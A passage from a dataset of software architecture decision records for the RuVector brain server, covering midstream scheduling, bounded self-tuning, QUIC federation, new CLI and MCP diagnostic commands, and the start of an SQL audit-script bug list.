limit\nsl.add_safety_constraint(custom_constraint(\n \"depth_limit\",\n |state| state.current_depth <= 3\n));\n```\n\n3. Background (via scheduler): every 300s, run `learn_at_level(0, trajectory_data)` where trajectory_data comes from:\n - SONA trajectory stats (patterns found, quality distribution)\n - DomainExpansion regret history (per-category regret)\n - Attractor stability classification (from Phase 9c)\n\n4. Meta-knowledge application: when `MetaKnowledge` items have confidence > 0.9, apply modifications:\n - `adjust_curiosity_weight(delta)` -> modify DomainExpansionEngine's exploration factor\n - `adjust_sona_pattern_boost(delta)` -> modify SONA scoring coefficient (0.15 +/- 0.03)\n - `flag_category_for_review(category)` -> mark chaotic categories for human attention\n\n5. In `search_memories()`: if strange-loop has high-confidence meta-knowledge about the query category, add `confidence * 0.02` boost\n\n6. In `vote_memory()`: feed vote as reward to strange-loop at level 0 (meta-reward: \"did the meta-knowledge improve search quality?\")\n\n7. Add `GET /v1/meta/strange-loop` endpoint\n8. Gate with `MIDSTREAM_STRANGE_LOOP` env var\n\n**Self-modification bounds** (enforced by safety constraints):\n- Curiosity weight: [0.01, 0.20] (cannot disable exploration or make it dominate)\n- SONA pattern boost: [0.05, 0.25] (cannot disable patterns or make them dominate)\n- Meta-depth: maximum 3 (prevents infinite recursion)\n- Modification rate: maximum 1 modification per 300s cycle (prevents oscillation)\n\n**Latency budget**: +1ms read path (cached meta-knowledge lookup), +0ms write path (async reward recording)\n\n### Phase 9f: quic-multistream Integration (Week 4-5, Future)\n\n**Dependency**: All prior phases (federation transports the full brain state including midstream data)\n\n**Wiring**:\n\n1. Add `quic_stats: Arc<RwLock<Option<QuicFederationStats>>>` to AppState\n2. When `MIDSTREAM_QUIC=true`, initialize QUIC listener alongside the existing HTTP server:\n\n```rust\n// Separate listener for QUIC federation (port 4433 default)\nlet quic_port: u16 = std::env::var(\"QUIC_PORT\")\n .unwrap_or_else(|_| \"4433\".to_string())\n .parse()?;\n```\n\n3. Define stream priority mapping:\n - `Critical`: Memory write replication (consistency)\n - `High`: Search query federation (latency-sensitive)\n - `Normal`: Vote synchronization\n - `Low`: Background state sync (attractor data, meta-knowledge)\n\n4. 0-RTT for returning peer brains (session resumption avoids TLS handshake on reconnect)\n\n5. Multiplexed bi-directional streams: each memory category gets its own stream for parallel sync\n\n6. In `status()`: report `quic_stats` if transport is active\n\n7. Add `GET /v1/federation/stats` endpoint\n\n8. Gate with `MIDSTREAM_QUIC` env var\n\n**Latency budget**: +0ms for existing endpoints (QUIC runs on separate port/task), +2ms for federated search (0-RTT + multiplexing)\n\n## 9. Cargo.toml Changes\n\nAdd to `crates/mcp-brain-server/Cargo.toml` under `[dependencies]`:\n\n```toml\n# Midstream Platform (ADR-077)\ntemporal-compare = \"0.1\"\nnanosecond-scheduler = \"0.1\"\ntemporal-attractor-studio = \"0.1\"\ntemporal-neural-solver = \"0.1\"\nstrange-loop = \"0.1\"\nquic-multistream = { version = \"0.1\", optional = true }\n```\n\nAdd feature flags for optional heavy dependencies:\n\n```toml\n[features]\ndefault = []\nquic-federation = [\"quic-multistream\"]\n```\n\n`quic-multistream` is the only optional dependency because it pulls in quinn/rustls which significantly increases compile time and binary size. All other midstream crates are lightweight and always compiled (gated at runtime via env vars).\n\n## 10. Performance Budget\n\n### 10.1 Read Path (search_memories) Latency Impact\n\n| Component | Current | With Midstream | Delta |\n|-----------|---------|---------------|-------|\n| Embedding + candidate fetch | 15ms | 15ms | +0ms |\n| Keyword + cosine scoring | 10ms | 10ms | +0ms |\n| Graph PPR | 8ms | 8ms | +0ms |\n| RankingEngine | 2ms | 2ms | +0ms |\n| GWT attention | 5ms | 5ms (moved to bg) | +0ms |\n| SONA patterns | 3ms | 3ms | +0ms |\n| Meta curiosity | 1ms | 1ms | +0ms |\n| **Temporal compare** | - | **3ms** | **+3ms** |\n| **Attractor lookup** | - | **1ms** | **+1ms** |\n| **Strange-loop lookup** | - | **1ms** | **+1ms** |\n| Sort + truncate | 1ms | 1ms | +0ms |\n| **Total** | **~45ms** | **~50ms** | **+5ms** |\n\nTotal read latency stays well under the 100ms budget. The scheduler actually reduces worst-case latency by removing SONA tick from the status handler.\n\n### 10.2 Write Path (share_memory) Latency Impact\n\n| Component | Current | With Midstream | Delta |\n|-----------|---------|---------------|-------|\n| PII + embed + witness + RVF | 80ms | 80ms | +0ms |\n| DeltaStream push | 0.5ms | 0.5ms | +0ms |\n| Meta-learning record | 0.5ms | 0.5ms | +0ms |\n| **Temporal buffer append** | - | **0.1ms** | **+0.1ms** |\n| **Attractor point push** | - | **0.1ms** | **+0.1ms** |\n| **LTL state push** | - | **0.5ms** | **+0.5ms** |\n| Graph + Firestore | 60ms | 60ms | +0ms |\n| **Total** | **~141ms** | **~142ms** | **+0.7ms** |\n\n### 10.3 Memory Footprint\n\n| Component | Estimate | Notes |\n|-----------|----------|-------|\n| TemporalComparator | ~2MB | 1000 cached comparisons, 500-step sequences |\n| RealtimeScheduler | <1MB | Priority queue of ~20 recurring tasks |\n| AttractorAnalyzers (8 categories) | ~4MB | 8 * 1000-point trajectories * 128-dim |\n| TemporalNeuralSolver | ~1MB | 10K trace buffer |\n| StrangeLoop | <1MB | 3 meta-levels, bounded knowledge store |\n| QuicFederationStats | <1KB | Statistics struct only (transport runs separately) |\n| **Total** | **~8MB** | On top of existing ~10MB AGI state |\n\n### 10.4 Background Task CPU Budget\n\nThe scheduler runs all background tasks on a single `tokio::spawn` loop. Worst-case CPU per cycle:\n\n| Task | Frequency | CPU/cycle | Annual CPU-hours |\n|------|-----------|-----------|-----------------|\n| SONA tick | 10s | 2ms | 6.3h |\n| GWT decay | 5s | 1ms | 6.3h |\n| Delta compact | 60s | 10ms | 5.3h |\n| LTL check | 30s | 5ms | 5.3h |\n| Attractor analyze | 120s | 50ms | 13.1h |\n| Strange-loop reflect | 300s | 100ms | 10.5h |\n| **Total** | - | - | **46.8h/year** |\n\nAt Cloud Run pricing ($0.000024/vCPU-second), annual background cost is approximately $4.04.\n\n## 11. Safety Considerations\n\n### 11.1 strange-loop Self-Modification Bounds\n\nThe strange-loop crate's self-modification capability is the highest-risk component. The following safety envelope is enforced:\n\n**Hard limits (cannot be overridden)**:\n- Maximum meta-depth: 3 levels (prevents infinite recursion)\n- `always_safe()` constraint: no modification can produce a state where scoring coefficients sum to > 1.0\n- `eventually_terminates()` constraint: every `learn_at_level()` call must complete within 1000ms\n\n**Soft limits (can be tuned via env vars)**:\n- `STRANGE_LOOP_MAX_DEPTH` (default: 3, range: 1-5)\n- `STRANGE_LOOP_MODIFICATION_RATE` (default: 1 per 300s, range: 1 per 60s to 1 per 3600s)\n- `STRANGE_LOOP_CURIOSITY_MIN` (default: 0.01)\n- `STRANGE_LOOP_CURIOSITY_MAX` (default: 0.20)\n\n**Rollback mechanism**: If a self-modification causes any LTL property (Phase 9d) to fail in the next check cycle, the modification is automatically reverted and the strange-loop's modification capability is suspended for 1 hour (with WARN log).\n\n### 11.2 LTL Property Definitions\n\nThe five core invariant properties are defined in Section 8 (Phase 9d). Additional properties can be added at runtime via the scheduler, but existing properties cannot be removed without a code change.\n\n**Verification semantics**: Properties are checked over the *trace buffer* (last 10K state transitions), not over all-time history. This bounds verification time and avoids false positives from pre-midstream state.\n\n### 11.3 Temporal Compare Privacy\n\nDTW trajectory matching could theoretically leak information about a contributor's knowledge evolution pattern. Mitigation:\n- Trajectory buffers are category-scoped, not contributor-scoped\n- Embeddings in trajectories have already been DP-noised (if `RVF_DP_ENABLED=true`)\n- The `find_similar_generic` API returns distance scores only, not raw trajectories\n\n### 11.4 Scheduler Deadline Misses\n\nIf the scheduler misses a deadline (e.g., under high load), the task is still executed but:\n- `missed_deadlines` counter is incremented (visible in `/v1/scheduler/stats`)\n- If `missed_deadlines > 10` in any 60s window, emit WARN log\n- If `missed_deadlines > 50` in any 60s window, disable lowest-priority tasks (Background(10)) for 5 minutes\n\n## 12. Consequences\n\n### Positive\n\n- **Temporal pattern matching** enables discovery of memories with similar evolution trajectories, surfacing non-obvious relationships that cosine similarity alone misses\n- **Deadline-aware scheduling** removes AGI maintenance work from the request hot path, reducing p99 read latency by ~5ms\n- **Dynamical systems analysis** upgrades drift monitoring from simple CV thresholds to Lyapunov-exponent-based attractor classification, enabling early detection of chaotic knowledge domains\n- **LTL verification** provides formal guarantees on system invariants, catching subtle bugs (dimension mismatches, witness chain gaps) that procedural checks might miss\n- **Recursive meta-cognition** allows the brain server to self-tune exploration and scoring parameters based on accumulated evidence, reducing manual tuning burden\n- **QUIC transport** (future) enables sub-millisecond brain-to-brain federation with 0-RTT resumption, a prerequisite for real-time multi-brain mesh\n- **All features are independently feature-gated** with runtime env vars, zero risk to existing behavior when disabled\n- **Total latency impact of +5ms on reads and +0.7ms on writes** stays well within the 100ms read budget\n\n### Negative\n\n- **Six additional crate dependencies** increase compile time by an estimated 30-45 seconds (quic-multistream alone adds ~20s due to quinn/rustls)\n- **~8MB additional memory footprint** for in-memory trajectory buffers, analyzer state, and solver traces\n- **Increased operational complexity**: six new env vars, six new endpoints, scheduler monitoring\n- **strange-loop self-modification** introduces a novel failure mode: if safety constraints are misconfigured, the system could oscillate between parameter settings\n- **LTL verification has false-positive risk** on edge cases where the trace buffer wraps around and loses historical context\n\n### Risks\n\n- **temporal-compare DTW** on high-dimensional (128-dim) sequences may be slower than expected if trajectory lengths grow beyond 100 steps; mitigation: cap max_sequence_length at 500\n- **nanosecond-scheduler** is designed for sub-microsecond scheduling, but tokio's cooperative scheduling has ~1ms granularity; actual scheduling precision will be millisecond-level, not nanosecond\n- **temporal-attractor-studio** Lyapunov exponent estimation requires sufficient trajectory data (minimum ~30 points per category); new categories will show `insufficient_data` until populated\n- **temporal-neural-solver** LTL verification confidence degrades if state transitions are sparse; the 30s check interval may verify the same state repeatedly during low-traffic periods\n- **strange-loop** meta-learning effectiveness depends on diverse input signals; if traffic is dominated by a single category, meta-knowledge will be narrowly scoped\n- **quic-multistream** requires TLS certificates for peer authentication; certificate management adds operational burden for multi-brain deployments\n- **Crate version stability**: all midstream crates are at `0.1.x`; API changes in minor versions could require brain server updates\n\n## 13. Verification\n\n### 13.1 Compilation\n\n1. `cargo check -p mcp-brain-server` compiles with zero errors after adding all six dependencies\n2. `cargo check -p mcp-brain-server --features quic-federation` compiles with quic-multistream enabled\n\n### 13.2 Existing Test Regression\n\n3. All Phase 1-8 tests continue to pass with all midstream flags disabled (default)\n4. `/v1/status` returns all existing fields unchanged when midstream flags are off\n\n### 13.3 Feature Flag Isolation\n\n5. Enabling any single midstream flag does not affect behavior of other subsystems\n6. Disabling a midstream flag mid-operation (via restart) gracefully drops in-memory state without errors\n\n### 13.4 New Endpoint Validation\n\n7. `GET /v1/temporal/trajectories?memory_id=<valid-uuid>` returns valid JSON with `similar_trajectories` array\n8. `GET /v1/scheduler/stats` returns valid JSON with `total_scheduled >= 0`\n9. `GET /v1/attractor` returns valid JSON with per-category `attractor_type` field\n10. `GET /v1/invariants` returns valid JSON with `properties_defined >= 5`\n11. `GET /v1/meta/strange-loop` returns valid JSON with `meta_depth <= 3`\n12. `GET /v1/federation/stats` returns valid JSON with `status: \"standby\"` when no peers connected\n\n### 13.5 Scoring Pipeline Integrity\n\n13. With all midstream flags enabled, total midstream score contribution never exceeds 0.13 for any single memory\n14. Search results with midstream enabled are a superset-reordering of results without midstream (no memories added or removed, only rank changes)\n\n### 13.6 Safety Constraints\n\n15. `strange-loop` with `max_meta_depth: 3` never recurses beyond level 3 (test with artificial depth-forcing input)\n16. Self-modification that would set curiosity weight outside [0.01, 0.20] is rejected by safety constraint\n17. LTL violation triggers WARN log but does not block the violating operation\n18. Scheduler deadline miss increments counter without dropping the task\n\n### 13.7 Performance\n\n19. `search_memories` with all midstream flags enabled completes in < 100ms for 238 memories (p99)\n20. `share_memory` with all midstream flags enabled completes in < 200ms (p99)\n21. Background scheduler CPU usage stays under 1% of a single vCPU at steady state\n22. Memory footprint with all midstream state initialized stays under 20MB total (existing + midstream)\n\n### 13.8 Load Test\n\n23. 40-concurrent search requests with all midstream flags enabled: p90 < 200ms, p99 < 300ms\n24. No scheduler deadline misses under 40-concurrent sustained load for 60 seconds\n\n## 14. Migration Notes\n\n### 14.1 Backward Compatibility\n\nAll existing API contracts are unchanged. New endpoints are additive. Midstream scoring signals are additive and bounded. No breaking changes to any existing client.\n\n### 14.2 Firestore Schema\n\nNo Firestore schema changes required. All midstream state is in-memory only. Persistence of midstream state (attractor histories, LTL traces, meta-knowledge) is a future consideration for a follow-up ADR.\n\n### 14.3 Docker / Cloud Run\n\nThe Dockerfile at `crates/mcp-brain-server/Dockerfile` needs no changes for Phases 9a-9e (pure Rust crates). Phase 9f (quic-multistream) requires exposing an additional UDP port in the Cloud Run service configuration:\n\n```yaml\n# cloudbuild.yaml addition for Phase 9f only\nports:\n - containerPort: 8080 # existing HTTP\n - containerPort: 4433 # QUIC federation (UDP)\n protocol: UDP\n```\n\nNote: Cloud Run currently has limited UDP support. Phase 9f may require migration to GKE or a hybrid deployment model.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-077-midstream-brain-integration.md", "created_at": "2026-03-28T11:58:49.706713+00:00", "content_hash": "0c9903c1f48e35c4f6c122b67d11008324963b5c0daceaca283a297945305a7f"} +{"id": "e3aa3fcd-b884-4b07-a743-0595fdd43988", "source": "adr", "text": "# ADR-078: npx ruvector Midstream & Brain AGI Integration\n\n**Status**: Proposed\n**Date**: 2026-03-03\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-070 (npx ruvector Unified Integration), ADR-076 (AGI Capability Wiring), ADR-077 (Midstream Brain Integration)\n\n## 1. Context\n\nThe mcp-brain-server backend at \u03c0.ruv.io now has 8 AGI subsystems deployed and operational (ADR-076, ADR-077):\n\n- **SONA** \u2014 3-tier hierarchical learning engine\n- **GWT** \u2014 Global Workspace Theory attention competition\n- **Temporal Delta Tracking** \u2014 Knowledge evolution velocity\n- **Meta-Learning Exploration** \u2014 Thompson Sampling with curiosity/regret\n- **Nanosecond Scheduler** \u2014 Background task scheduling\n- **Temporal Attractor Studio** \u2014 Lyapunov exponent analysis for embedding stability\n- **Temporal Neural Solver** \u2014 Certified temporal predictions with solver gates\n- **Strange Loop** \u2014 Recursive meta-cognitive reasoning\n\nThe backend exposes 5 diagnostic endpoints (`/v1/status`, `/v1/sona/stats`, `/v1/temporal`, `/v1/explore`, `/v1/midstream`) and returns AGI-enriched search results. However, **none of these capabilities are exposed through the `npx ruvector` CLI (167 commands) or the MCP server (118 tools)**.\n\nThe existing brain CLI commands (13) and MCP tools (11) were implemented against the Phase 1-7 API surface. They don't surface AGI diagnostics, midstream analytics, or the enriched scoring pipeline metadata.\n\n### Current State\n\n| Layer | Brain Commands | AGI/Midstream Commands |\n|-------|---------------|----------------------|\n| Backend (mcp-brain-server) | 33 REST endpoints | 5 AGI endpoints, 4 midstream subsystems |\n| MCP Client (mcp-brain) | 20 MCP tools | 0 |\n| npm CLI (npx ruvector) | 13 brain subcommands | 0 |\n| npm MCP (mcp-server.js) | 11 brain MCP tools | 0 |\n\n### Gap\n\nUsers cannot:\n1. View SONA learning patterns, trajectories, or background tick state\n2. Monitor temporal delta velocity or trend\n3. Inspect meta-learning regret, curiosity scores, or plateau status\n4. View midstream scheduler metrics, attractor analysis, or strange-loop version\n5. See AGI scoring layer contributions in search results\n6. Toggle midstream feature flags without redeploying\n\n## 2. Decision\n\nExtend `npx ruvector` with 2 new CLI command groups and 12 new MCP tools that surface all AGI and midstream capabilities from the backend.\n\n### 2.1 New CLI Commands\n\n#### `ruvector brain agi` Subcommand Group (6 commands)\n\n```\nruvector brain agi status # Combined AGI + midstream diagnostics\nruvector brain agi sona # SONA patterns, trajectories, background ticks\nruvector brain agi temporal # Temporal delta velocity, trend, total deltas\nruvector brain agi explore # Meta-learning curiosity, regret, plateau, Pareto\nruvector brain agi midstream # Scheduler ticks, attractor categories, solver, strange-loop\nruvector brain agi flags # List current feature flag state from /v1/status\n```\n\nAll commands support `--json` for machine-readable output and `--url`/`--key` for backend override.\n\n**Example output:**\n\n```\n$ npx ruvector brain agi status\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 \u03c0.ruv.io AGI Diagnostics \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 SONA \u2502\n\u2502 Patterns: 12 Trajectories: 45 \u2502\n\u2502 Background ticks: 3 \u2502\n\u2502 \u2502\n\u2502 GWT Attention \u2502\n\u2502 Workspace load: 0.42 \u2502\n\u2502 Avg salience: 0.31 \u2502\n\u2502 \u2502\n\u2502 Temporal \u2502\n\u2502 Total deltas: 237 \u2502\n\u2502 Velocity: 14.0/hr \u2502\n\u2502 Trend: growing \u2502\n\u2502 \u2502\n\u2502 Meta-Learning \u2502\n\u2502 Avg regret: 0.023 \u2502\n\u2502 Plateau: learning \u2502\n\u2502 \u2502\n\u2502 Midstream \u2502\n\u2502 Scheduler ticks: 1,204 \u2502\n\u2502 Attractor categories: 5 \u2502\n\u2502 Strange-loop: v0.3.0 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### `ruvector midstream` Command Group (4 commands)\n\n```\nruvector midstream status # Midstream platform overview\nruvector midstream attractor [cat] # Lyapunov analysis per category\nruvector midstream scheduler # Scheduler metrics (ticks, tasks/sec)\nruvector midstream benchmark # Run latency benchmark against backend\n```\n\n### 2.2 New MCP Tools\n\n| Tool Name | Endpoint | Description |\n|-----------|----------|-------------|\n| `brain_agi_status` | GET /v1/status | Combined AGI diagnostics (SONA + GWT + temporal + meta + midstream fields) |\n| `brain_sona_stats` | GET /v1/sona/stats | SONA patterns, trajectories, background ticks |\n| `brain_temporal` | GET /v1/temporal | Temporal delta velocity, trend, total deltas |\n| `brain_explore` | GET /v1/explore | Meta-learning curiosity, regret, plateau, Pareto |\n| `brain_midstream` | GET /v1/midstream | Midstream scheduler, attractor, solver, strange-loop |\n| `brain_flags` | GET /v1/status | Extract and display feature flag state |\n| `midstream_status` | GET /v1/midstream | Full midstream platform diagnostics |\n| `midstream_attractor` | GET /v1/midstream | Attractor categories with Lyapunov exponents |\n| `midstream_scheduler` | GET /v1/midstream | Nanosecond scheduler performance metrics |\n| `midstream_benchmark` | Multi-endpoint | Run sequential + concurrent latency benchmark |\n| `midstream_search` | GET /v1/memories/search | Search with midstream scoring metadata in response |\n| `midstream_health` | GET /v1/health + /v1/midstream | Combined health + midstream subsystem check |\n\n### 2.3 Enhanced Brain Commands\n\nExisting commands get optional AGI metadata:\n\n| Command | Enhancement |\n|---------|------------|\n| `brain search` | Add `--verbose` flag to show per-result AGI scoring breakdown (SONA pattern boost, GWT attention winner, meta curiosity, attractor stability, strange-loop bonus) |\n| `brain status` | Include AGI and midstream fields in default output (already returned by backend, just not displayed) |\n| `brain share` | Show attractor update status when midstream is enabled |\n\n### 2.4 Response Schema Extension\n\nThe backend already returns AGI/midstream fields in `/v1/status`. The CLI and MCP server need to parse and display them:\n\n```json\n{\n \"sona_patterns\": 12,\n \"sona_trajectories\": 45,\n \"gwt_workspace_load\": 0.42,\n \"gwt_avg_salience\": 0.31,\n \"knowledge_velocity\": 14.0,\n \"temporal_deltas\": 237,\n \"meta_avg_regret\": 0.023,\n \"meta_plateau_status\": \"learning\",\n \"midstream_scheduler_ticks\": 1204,\n \"midstream_attractor_categories\": 5,\n \"midstream_strange_loop_version\": \"0.3.0\"\n}\n```\n\n## 3. Implementation Plan\n\n### Phase 1: CLI `brain agi` Subcommands (cli.js)\n\n**File**: `npm/packages/ruvector/bin/cli.js`\n\n1. Add `agi` subcommand group under existing `brainCmd`:\n\n```javascript\nconst agiCmd = brainCmd.command('agi')\n .description('AGI subsystem diagnostics \u2014 SONA, GWT, temporal, meta-learning, midstream');\n\nagiCmd.command('status')\n .description('Combined AGI + midstream diagnostics from \u03c0.ruv.io')\n .option('--json', 'Output as JSON')\n .action(async (opts) => {\n const piBrain = await requirePiBrain();\n const config = getBrainConfig(opts);\n const client = new piBrain.PiBrainClient(config);\n const status = await client.status();\n // Extract and format AGI fields\n });\n```\n\n2. Add individual `sona`, `temporal`, `explore`, `midstream`, `flags` subcommands following same pattern.\n\n3. Each command calls the corresponding backend endpoint via `PiBrainClient` and formats output with chalk.\n\n**Estimated changes**: ~200 lines added to cli.js\n\n### Phase 2: CLI `midstream` Command Group (cli.js)\n\n**File**: `npm/packages/ruvector/bin/cli.js`\n\n1. Add new top-level command group:\n\n```javascript\nconst midstreamCmd = program.command('midstream')\n .description('Midstream real-time streaming analysis platform');\n```\n\n2. Add `status`, `attractor`, `scheduler`, `benchmark` subcommands.\n\n3. The `benchmark` command runs sequential + concurrent latency tests:\n - 3 sequential requests to each endpoint (health, status, search, write)\n - 20 concurrent search requests\n - Reports p50/p90/p99 latencies\n\n**Estimated changes**: ~150 lines added to cli.js\n\n### Phase 3: MCP Tools (mcp-server.js)\n\n**File**: `npm/packages/ruvector/bin/mcp-server.js`\n\n1. Add 12 new tool definitions to the tools array:\n\n```javascript\n{\n name: 'brain_agi_status',\n description: 'Combined AGI subsystem diagnostics from the shared brain',\n inputSchema: {\n type: 'object',\n properties: {},\n }\n},\n// ... 11 more tools\n```\n\n2. Add handler cases:\n\n```javascript\ncase 'brain_agi_status':\ncase 'brain_sona_stats':\ncase 'brain_temporal':\ncase 'brain_explore':\ncase 'brain_midstream':\ncase 'brain_flags': {\n const { PiBrainClient } = require('@ruvector/pi-brain');\n const client = new PiBrainClient({ url, key });\n const endpointMap = {\n brain_agi_status: 'status',\n brain_sona_stats: 'sona/stats',\n brain_temporal: 'temporal',\n brain_explore: 'explore',\n brain_midstream: 'midstream',\n brain_flags: 'status',\n };\n const subCmd = endpointMap[name];\n const result = await client.raw(`/v1/${subCmd}`);\n // For brain_flags, extract only flag-related fields\n // For brain_agi_status, extract AGI fields\n return { content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] };\n}\n```\n\n**Estimated changes**: ~250 lines added to mcp-server.js\n\n### Phase 4: PiBrainClient Extension (@ruvector/pi-brain)\n\n**File**: `npm/packages/pi-brain/` (or inline in cli.js if pi-brain not available)\n\nAdd methods:\n- `sonaStats()` \u2014 GET /v1/sona/stats\n- `temporal()` \u2014 GET /v1/temporal\n- `explore()` \u2014 GET /v1/explore\n- `midstream()` \u2014 GET /v1/midstream\n- `raw(path)` \u2014 GET any /v1/* endpoint (generic)\n\nIf `@ruvector/pi-brain` is not yet published, implement these as inline fetch calls in cli.js using the existing `getBrainConfig()` pattern.\n\n### Phase 5: Enhanced `brain search --verbose`\n\n**File**: `npm/packages/ruvector/bin/cli.js`\n\nAdd `--verbose` flag to `brain search` that displays per-result metadata when available. The backend already includes `quality_score`, `witness_hash`, etc. in search results. The verbose mode would format these prominently:\n\n```\n$ npx ruvector brain search \"neural embeddings\" --verbose\n1. Neural Embedding Patterns (pattern)\n Quality: 0.89 | Votes: 12\u2191 1\u2193 | Witness: 3a7f...\n Contributor: anon-abc123 | Created: 2026-03-01\n Tags: neural, embedding, rust\n```\n\n### Phase 6: Tests\n\n**File**: `npm/packages/ruvector/test/cli-commands.js`\n\nAdd tests for new commands:\n- `brain agi status --help` \u2014 verify command exists\n- `brain agi sona --help` \u2014 verify subcommand exists\n- `midstream status --help` \u2014 verify new command group\n- `midstream benchmark --help` \u2014 verify benchmark command\n\n**File**: `npm/packages/ruvector/test/integration.js`\n\nAdd integration test: verify new MCP tools appear in tool list.\n\n**Estimated**: 12-15 new test cases\n\n## 4. File Summary\n\n| File | Action | Phase | Est. Lines |\n|------|--------|-------|-----------|\n| `npm/packages/ruvector/bin/cli.js` | Add `brain agi` + `midstream` commands | 1,2,5 | +400 |\n| `npm/packages/ruvector/bin/mcp-server.js` | Add 12 MCP tools | 3 | +250 |\n| `npm/packages/pi-brain/src/client.ts` | Add AGI/midstream methods | 4 | +60 |\n| `npm/packages/ruvector/test/cli-commands.js` | New command tests | 6 | +50 |\n| `npm/packages/ruvector/test/integration.js` | MCP tool integration tests | 6 | +30 |\n| `npm/packages/ruvector/package.json` | Version bump 0.2.3 \u2192 0.2.4 | 3 | +1 |\n\n## 5. API Surface After Integration\n\n| Layer | Before | After | Delta |\n|-------|--------|-------|-------|\n| CLI Commands | 167 | 177 | +10 |\n| CLI Groups | 12 | 13 | +1 (`midstream`) |\n| Brain Subcommands | 13 | 19 | +6 (`agi` group) |\n| MCP Tools | 118 | 130 | +12 |\n| Brain MCP Tools | 11 | 17 | +6 |\n\n## 6. Backend Endpoints Consumed\n\nAll endpoints already exist and are deployed (revision ruvbrain-00071-wp7):\n\n| Endpoint | Auth | New Consumers |\n|----------|------|--------------|\n| GET /v1/status | Yes | `brain agi status`, `brain agi flags`, `brain_agi_status`, `brain_flags` |\n| GET /v1/sona/stats | Yes | `brain agi sona`, `brain_sona_stats` |\n| GET /v1/temporal | Yes | `brain agi temporal`, `brain_temporal` |\n| GET /v1/explore | Yes | `brain agi explore`, `brain_explore` |\n| GET /v1/midstream | Yes | `brain agi midstream`, `midstream status`, `brain_midstream`, `midstream_status` |\n| GET /v1/health | No | `midstream benchmark`, `midstream_health` |\n| GET /v1/memories/search | Yes | `midstream_search` (with scoring metadata) |\n\nNo backend changes required \u2014 all endpoints are live and returning the expected JSON schemas.\n\n## 7. Feature Flags\n\nNo new environment variables. The CLI/MCP tools read from the existing backend responses. Feature flag state is reported by the backend in `/v1/status` response.\n\nFor local development/testing, existing env vars apply:\n- `BRAIN_URL` \u2014 Override backend URL (default: \u03c0.ruv.io Cloud Run URL)\n- `BRAIN_API_KEY` \u2014 API key for authentication\n\n## 8. Backward Compatibility\n\n- All new commands are additive \u2014 no existing commands modified\n- `brain status` enhanced output is backward-compatible (new fields appended)\n- `brain search --verbose` is opt-in (default output unchanged)\n- MCP tools follow existing naming convention (`brain_*`, `midstream_*`)\n- `@ruvector/pi-brain` methods are additive (existing API unchanged)\n- Version bump is minor (0.2.3 \u2192 0.2.4) \u2014 no breaking changes\n\n## 9. Consequences\n\n### Positive\n\n- Users gain full visibility into all 8 AGI subsystems via CLI and MCP\n- Claude Code agents can inspect brain learning state (SONA patterns, meta-learning regret) to make informed decisions\n- Midstream platform metrics enable monitoring and alerting on knowledge evolution\n- `midstream benchmark` provides a standardized latency test for the brain backend\n- Feature flag visibility enables debugging deployment issues\n\n### Negative\n\n- cli.js grows by ~400 lines (8,500 \u2192 8,900) \u2014 still within single-file budget\n- mcp-server.js grows by ~250 lines (3,500 \u2192 3,750) \u2014 acceptable\n- 12 additional MCP tools increase tool list size (agents may need to filter)\n- `@ruvector/pi-brain` gains a dependency on 5 new endpoint paths\n\n### Risks\n\n- Backend `/v1/status` response schema may evolve \u2014 CLI should handle missing fields gracefully\n- Midstream feature flags defaulting to `false` means `brain agi midstream` shows zeros until enabled\n- `midstream benchmark` generates real traffic \u2014 should include rate limiting awareness\n\n## 10. Verification\n\n1. `npm test` in `npm/packages/ruvector/` \u2014 55 existing + 12-15 new tests pass\n2. `npx ruvector brain agi status --json` returns valid JSON with AGI fields\n3. `npx ruvector midstream status --json` returns midstream diagnostics\n4. `npx ruvector midstream benchmark` completes within 30s and reports latencies\n5. MCP server lists 130 tools (was 118)\n6. Claude Code can call `brain_agi_status` tool and receive formatted response\n7. `npx ruvector brain search \"test\" --verbose` shows enhanced output\n8. All commands work with `--url` and `--key` overrides", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-078-npx-ruvector-midstream-integration.md", "created_at": "2026-03-28T11:58:49.706890+00:00", "content_hash": "caf9002a0334f77a7892dbc7e582c8111b77a2a47dd9788c8f3627b525ee1733"} +{"id": "f8c03379-4ffd-43c6-b8e5-f1e20f22d01d", "source": "adr", "text": "# ADR-079: SQL Audit Script Hardening & Bug Fixes\n\n**Status:** Accepted\n**Date:** 2026-03-03\n**Author:** ruvnet\n\n## Context\n\nThe ruvector independent audit verification script (`sql-audit.sql`) v2 contained 12 bugs ranging from syntax errors that prevent execution to logic errors that produce misleading results. The script tests 13 advertised ruvector extension features against actual behavior \u2014 correctness of the audit tool itself is critical for trust.\n\n## Issues Found (v2 -> v3)\n\n### Critical (5)\n\n| # | Issue | Impact |\n|---|-------|--------|\n| 1 | **Dollar quoting broken** \u2014 All DO blocks use single `$` instead of `$$`. PostgreSQL requires `$$` or `$tag$` for dollar-quoted string literals. | Every DO block is a syntax error \u2014 script cannot run at all |\n| 2 | **Hardcoded node IDs in shortest_path** (Section 4d) \u2014 Uses literal `1, 3` but auto-generated IDs vary by database state. IDs from Section 4b's DO block are local variables, unreachable in 4d. | Shortest path test fails on any non-empty database |\n| 3 | **Section 5b bare SELECTs** \u2014 `ruvector_insert_triple()` calls have no DO/EXCEPTION wrapper. If the function doesn't exist, the script aborts entirely. | Breaks fault-tolerance guarantee |\n| 4 | **dblink connection string unquoted** \u2014 `'dbname=' \\|\\| current_database()` is vulnerable to breakage with special characters in database/user names. | Persistence test fails on databases with spaces/special chars |\n| 